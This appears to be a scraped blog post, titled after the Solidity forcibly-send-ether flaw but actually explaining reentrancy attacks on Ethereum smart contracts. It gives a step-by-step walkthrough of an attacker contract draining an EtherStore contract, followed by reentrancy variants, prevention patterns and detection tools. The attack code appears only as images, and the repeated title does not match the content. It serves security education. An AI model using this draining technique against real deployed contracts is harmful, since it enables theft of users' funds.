Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак
Image 4: Attacker Contract

Let’s see how this malicious contract can exploit the EtherStore contract. The attacker would create the above contract with the EtherStore‘s contract address as the constructor parameter. This will initialize and point the public variable etherStore to the contract to be attacked.

The attacker would then call the pwnEtherStore() function, with some amount of ether (greater than or equal to 1), let’s say 1 ether for this example. Assume a number of other users have deposited ether into this contract, such that it’s current balance is 10 ether. The following would then occur:

  1. Attack.sol – Line [15] – The depositFunds() function of the EtherStore contract will be called with a msg.value of 1 ether (and a lot of gas). The sender (msg.sender) will be the malicious contract (address). Thus, balances[address] = 1 ether.
  2. Attack.sol – Line [17] – The malicious contract will then call the withdrawFunds() function of the EtherStore contract with a parameter of 1 ether. This will pass all the requirements (Lines [12]-[16] of the EtherStore contract) as no previous withdrawals have been made.
  3. EtherStore.sol – Line [17] – The contract will then send 1 ether back to the malicious contract.
  4. Attack.sol – Line [25] – The ether sent to the malicious contract will then execute the fallback function.
  5. Attack.sol – Line [26] – The total balance of the EtherStore contract was 10 ether and is now 9 ether so this if statement passes.
  6. Attack.sol – Line [27] – The fallback function then calls the EtherStore withdrawFunds() function again and “re-enters” the EtherStore contract.
  7. EtherStore.sol – Line [11] – In this second call to withdrawFunds(), the balance is still 1 ether as line [18] has not yet been executed. Thus, the value remains as balances[address] = 1 ether. This is also the case for the lastWithdrawTime variable. Again, all the requirements are passed.
  8. EtherStore.sol – Line [17] – Another 1 ether is withdrawn.
  9. Steps 4-8 will repeat – until EtherStore.balance >= 1 as dictated by line [26] in Attack.sol.
  10. Attack.sol – Line [26] – Once there is less than 1 ether left in the EtherStore contract, this if statement will fail. This will then allow lines [18] and [19] of the EtherStore contract to be executed (for each call to the withdrawFunds() function).
  11. EtherStore.sol – Lines [18] and [19] – The balances and lastWithdrawTime mappings will be set and the execution will end.

The final result, is that the attacker has withdrawn all ether from the EtherStore contract, instantaneously with a single transaction.

Types of reentrancy attacks

There are three main types of reentrancy attacks: single function reentrancy, cross-function reentrancy and cross-contract reentrancy.

Single Function Reentrancy

This type of attack is the simplest and easiest to prevent. It occurs when the vulnerable function is the same function the attacker is trying to recursively call.

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак
Image 5: Single Function Reentrancy

Since the user’s balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed and will withdraw the balance over and over again.

In the example given, the best way to prevent this attack is to make sure an external function is not called until all the required internal work has been completed:

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак
Image 6: Single Function Reentrancy Fixed

Note that if another function also called withdrawBalance(), it would be potentially subject to the same attack, so any function which calls an untrusted contract must also be treated as untrusted. 

Cross-function Reentrancy

These attacks are harder to detect. A cross-function reentrancy attack is possible when a vulnerable function shares state with another function that has a desirable effect for the attacker.

Image 7: Cross-function Reentrancy

In this case, the attacker calls transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. The same solutions will work, with the same caveats. Also note that in this example, both functions were part of the same contract. However, the same bug can occur across multiple contracts, if those contracts share state.

Cross-contract Reentrancy

Cross-contract reentrancy can happen when the state from one contract is used in another contract, but that state is not fully updated before getting called.

The conditions required for the cross-contract reentrancy to be possible are as follows:

  • The execution flow can be controlled by the attacker to manipulate the contract state.
  • The value of the state in the contract is shared or used in another contract.

More Examples of the Vulnerability

More examples of this vulnerability can be found on my github:  https://github.com/ylevalle/SolidityReentrancy

Preventative Techniques

There are a number of common techniques which help avoid potential reentrancy vulnerabilities in smart contracts:

  • For the first two variations, Single Function Reentrancy and Cross-Function Reentrancy, a mutex lock can be implemented in the contract to prevent the functions in the same contract from being called repeatedly, thus, preventing reentrancy. A widely used method to implement the lock is inheriting OpenZeppelin’s ReentrancyGuard and use the nonReentrant modifier.
  • Another solution is to check and try updating all states before calling for external contracts, or the so-called “Checks-Effects-Interactions” pattern. This way, even when a reentrant calling is initiated, no impact can be made since all states have finished updating.
  • An alternative choice is to prevent the attacker from taking over the control flow of the contract. A set of whitelisted addresses can prevent the attacker from injecting unknown malicious contracts into the contract.
  • Another technique is pull payment, that achieves security by sending funds via an intermediary escrow and avoiding direct contact with potentially hostile contracts.
  • Finally, gas limits can prevent reentrancy attacks, but this should not be considered a security strategy as gas costs are dependent on Ethereum’s opcodes, which are subject to change. Smart contract code, on the other hand, is immutable. Regardless, it is worth knowing the difference between the functions: sendtransfer, and call. Functions send and transfer are essentially the same, but transfer will revert if the transaction fails, whereas send will not. In regard to reentrancy, send and transfer both have gas limits of 2300 units. Using these functions should prevent a reentrancy attack from occurring because this is not enough gas to recursively call back into the origin function to exploit funds.

Nevertheless, the contracts that integrate with other contracts, especially when the states are shared, should be checked in detail to make sure that the states used are correct and cannot be manipulated.

Detection Techniques

In general, a detailed manual inspection of the smart contracts code is what is needed to detect reentrancy vulnerabilities. But some of the smart contracts security tools like MythX and Mythril, can also help detecting reentrancy bugs, with the following limitations:

  • These detection tools analyze the smart contract code based on predefined attack patterns, and if the patterns match any part in the code, then the tools discover the vulnerability. Thus, these approaches mainly rely on complete patterns and the specific quality of these patterns.
  • The patterns these solutions rely on are based on the observation of the previous attacks and known vulnerabilities, which makes them limited and difficult to generalize.
  • All the solutions are only applicable before the deployment of smart contracts. This means once the smart contract is deployed on the Ethereum network, these solutions cannot prevent reentrancy attacks and cannot detect the attacker.
  • If a new reentrancy pattern is introduced after the deployment of the smart contracts, these solutions need to be updated; otherwise, they will not be able to detect the new attack patterns.

However, there are projects and researches about static analysis tools and frameworks that, given a contract’s source code, can identify functions vulnerable to reentrancy attacks. At a high level, these tools parse contract source code to extract particular keywords such as global variables and modifiers, tokenize the source code of each function in the contract, and feed embedded representations of these tokens through a model which classifies the function as reentrant or safe.


Smart Contract Vulnerabilities


Further Reading


Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/lqjsHB2r6gU

Source: https://cryptodeeptool.ru/solidity-forcibly-send-ether-vulnerability


Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Сообщение Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак появились сначала на «CRYPTO DEEP TOOLS».

]]>